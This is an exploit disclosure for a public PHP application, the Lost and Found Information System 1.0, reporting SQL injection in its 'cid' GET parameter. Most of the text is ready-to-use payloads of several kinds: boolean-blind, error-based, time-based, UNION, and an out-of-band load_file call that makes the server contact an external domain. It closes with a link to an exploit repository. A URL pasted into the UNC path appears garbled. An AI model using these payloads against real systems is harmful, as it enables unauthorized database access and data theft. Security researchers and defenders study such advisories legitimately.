Found Information System 1.0 SQL Injection

`## Title: Found Information System 1.0 Multiple-SQLi  
## Author: nu11secur1ty  
## Date: 05.07.2023  
## Vendor: https://github.com/oretnom23  
## Software: https://www.sourcecodester.com/php/16525/lost-and-found-information-system-using-php-and-mysql-db-source-code-free-download.html  
## Reference: https://portswigger.net/web-security/sql-injection  
  
## Description:  
The `cid` parameter appears to be vulnerable to SQL injection attacks.  
The payload '+(select  
load_file('%5c%5c%5c%5c446j46zi440491hdrco5ywxzhttps://www.sourcecodester.com/user/257130/activity%5c%5coca'))+'  
was submitted in the cid parameter. This payload injects a SQL  
sub-query that calls MySQL's load_file function with a UNC file path  
that references a URL on an external domain. The application  
interacted with that domain, indicating that the injected SQL query  
was executed.  
The attacker can get susceptible - sensitive information about the  
system, then he can perform another more dangerous attack.  
  
STATUS: HIGH Vulnerability  
  
[+]Payload:  
```mysql  
---  
Parameter: cid (GET)  
Type: boolean-based blind  
Title: OR boolean-based blind - WHERE or HAVING clause  
Payload: page=items&cid=-9014' OR 4485=4485 AND 'MLAS'='MLAS  
  
Type: error-based  
Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)  
Payload: page=items&cid=-3437' OR 1 GROUP BY  
CONCAT(0x71786b7171,(SELECT (CASE WHEN (5811=5811) THEN 1 ELSE 0  
END)),0x71627a6b71,FLOOR(RAND(0)*2)) HAVING MIN(0)#  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: page=items&cid=2'+(select  
load_file('\\\\446j46zi440491hdrco5ywxzhttps://www.sourcecodester.com/user/257130/activity\\oca'))+''  
AND (SELECT 9471 FROM (SELECT(SLEEP(3)))atkh) AND 'RWRl'='RWRl  
  
Type: UNION query  
Title: MySQL UNION query (UTF8) - 5 columns  
Payload: page=items&cid=2'+(select  
load_file('\\\\446j46zi440491hdrco5ywxzhttps://www.sourcecodester.com/user/257130/activity\\oca'))+''  
UNION ALL SELECT  
'UTF8',CONCAT(0x71786b7171,0x506f70715a457a794d7641625051436b4c4a52576d51645242665863795a6f594d4843426d654b46,0x71627a6b71),'UTF8','UTF8','UTF8','UTF8'#  
---  
  
```  
  
## Proof and Exploit:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/Lost-and-Found-Information-1.0)  
  
## Time spend:  
00:37:00  
  
  
`